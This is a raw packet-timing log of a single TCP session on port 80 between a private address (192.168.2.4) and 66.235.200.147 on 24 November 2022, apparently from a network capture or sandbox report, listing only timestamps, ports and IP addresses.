Nov 24, 2022 13:27:53.315197945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315202951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315222025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315226078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315243006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315254927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315268040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315284014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315299034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315311909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315324068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315339088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315350056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315366983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315376997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315395117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315407038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315435886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315442085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315480947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315515995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315543890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315557957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315567970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315588951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315592051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315615892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315622091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315634012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315642118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315668106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315669060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315691948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315697908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315721989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315726042 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315751076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315754890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315771103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315783024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315793037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315809965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315819979 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315839052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315848112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315867901 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315877914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315896988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315907955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315927029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315937996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315958023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315964937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.315984964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.315994978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316013098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316024065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316040039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316052914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316068888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316081047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316097021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316107035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316127062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316134930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316154003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316164970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316179037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316191912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316205025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316216946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316229105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316242933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316251040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316265106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316276073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316288948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316299915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316313028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316324949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316338062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316349030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316363096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316371918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316384077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316395998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316410065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316421986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316447973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316451073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316472054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316476107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316493988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316504955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316513062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316533089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316540956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316562891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316584110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316590071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316610098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316620111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316629887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316648960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316679955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316696882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316698074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316725016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316737890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316751957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316764116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316780090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316792011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316807985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316823006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316833019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316847086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316859007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316873074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316884995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316910028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316910982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316935062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316941977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316961050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.316967964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.316984892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317004919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317009926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317019939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317033052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317049026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317056894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317059040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317080975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317085028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317105055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317115068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317130089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317142010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317154884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317174911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317179918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317202091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317205906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317233086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317238092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317253113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317265987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317282915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317293882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317318916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317332029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317342997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317348957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317368984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317370892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317387104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317394018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317416906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317418098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317435026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317440987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317455053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317464113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317482948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317487001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317507029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317512035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317533016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317537069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317548990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317562103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317574978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317586899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317600965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317615032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317629099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317643881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317658901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317672014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317686081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317701101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317718029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317728996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317744017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317755938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317774057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317785978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317809105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317814112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317826986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317851067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317862034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317879915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317909002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317909956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317924023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317938089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317965031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.317979097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.317991972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318015099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318021059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318043947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318048954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318061113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318077087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318097115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318101883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318114996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318126917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318142891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318150997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318164110 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318175077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318191051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318198919 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318214893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318222046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318237066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318245888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318258047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318269014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318283081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318291903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318306923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318316936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318330050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318342924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318352938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318371058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318382025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318397045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318416119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318427086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318439007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318454981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318476915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318483114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318506002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318511009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318531036 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318538904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318567991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318573952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318597078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318605900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318624973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318634987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318653107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318672895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318679094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318707943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318707943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318728924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318733931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318762064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318762064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318779945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318789005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318806887 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318816900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318834066 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318844080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318861961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318870068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318890095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318909883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318913937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318938971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318953991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318962097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.318975925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.318988085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319001913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319010973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319031954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319034100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319055080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319058895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319077015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319082975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319094896 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319109917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319124937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319137096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319153070 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319164991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319178104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319194078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319206953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319221973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319232941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319252968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319268942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319282055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319295883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319308996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319318056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319339037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319348097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319365978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319389105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319417000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319422960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319444895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319467068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319473028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319483995 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319500923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319514990 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319529057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319547892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319560051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319572926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319585085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319602013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319611073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319634914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319638014 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319657087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319658041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319679022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319681883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319699049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319705009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319724083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319729090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319741964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319751978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319775105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319775105 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319797039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319798946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319812059 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319823027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319838047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.319845915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.319864035 CET	49702	80	192.168.2.4	66.235.200.147
